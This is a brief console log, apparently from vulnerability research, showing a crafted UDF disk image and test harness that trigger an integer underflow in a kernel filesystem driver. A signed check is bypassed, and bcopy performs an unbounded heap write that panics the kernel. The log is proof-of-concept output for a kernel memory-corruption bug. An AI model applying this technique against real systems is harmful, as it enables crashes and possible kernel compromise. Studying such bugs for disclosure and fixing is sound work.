== host: python3 craft_img.py ==
wrote /tmp/_chk.udf: 1048576 bytes (512 sectors), extent0=81B, FID_B total=41 (aligned 44), overshoot=3 -> frag_size=-3 -> bcopy size_t=0xfffffffffffffffd
-rw-r--r-- 1 node node 1048576 Jul  6 03:35 /tmp/_chk.udf

== guest: cc harness.c ==
HARNESS_BUILD_OK
-rwxr-xr-x  1 maxx  wheel  10136 Jul  6 03:35 harness

== PROOF ==
frag_size arithmetic ds->size(81) - ds->off(84) = -3 (NEGATIVE)
signed guard `frag_size(-3) >= bsize(2048)` evaluates FALSE -> check BYPASSED
bcopy length as size_t = 0xfffffffffffffffd (16 EB) -> unbounded kernel heap write past ds->buf
On the kernel this is a page fault in bcopy() -> panic.